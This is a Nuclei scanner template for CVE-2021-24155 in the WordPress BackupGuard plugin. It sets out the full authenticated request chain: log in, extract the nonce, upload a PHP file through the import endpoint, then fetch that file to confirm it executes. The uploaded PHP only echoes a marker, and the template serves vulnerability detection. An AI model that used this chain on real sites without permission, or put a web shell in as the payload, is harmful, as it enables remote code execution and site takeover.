85 lines
2.9 KiB
YAML
85 lines
2.9 KiB
YAML
id: CVE-2021-24155
|
|
|
|
info:
|
|
name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
|
|
author: theamanrawat
|
|
severity: high
|
|
description: |
|
|
WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
|
|
remediation: Fixed in version 1.6.0.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
|
|
- https://wordpress.org/plugins/backup/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24155
|
|
- http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2021-24155
|
|
cwe-id: CWE-434
|
|
epss-score: 0.94759
|
|
epss-percentile: 0.99005
|
|
cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 4
|
|
vendor: backup-guard
|
|
product: backup_guard
|
|
framework: wordpress
|
|
tags: authenticated,wp,packetstorm,wp-plugin,cve2021,rce,wordpress,cve,backup,wpscan,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921
|
|
|
|
-----------------------------204200867127808062083805313921
|
|
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
|
|
Content-Type: application/x-php
|
|
|
|
<?php
|
|
|
|
echo "CVE-2021-24155";
|
|
|
|
?>
|
|
|
|
-----------------------------204200867127808062083805313921--
|
|
- |
|
|
GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(header_4, "text/html")
|
|
- status_code_4 == 200
|
|
- contains(body_3, '{\"success\":1}')
|
|
- contains(body_4, 'CVE-2021-24155')
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nonce
|
|
group: 1
|
|
regex:
|
|
- BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
|
|
internal: true
|
|
|
|
# digest: 4b0a00483046022100a9a445efb0277d81d1ec787b4a78ed1b3f89d84705a48cb6dc6c815f4620f1ac0221009dd05d4e32397ae22bc49b8084a4f361cc4f9e8f7f39b28df73a635f03b8114e:922c64590222798bb761d5b6d8e72950
|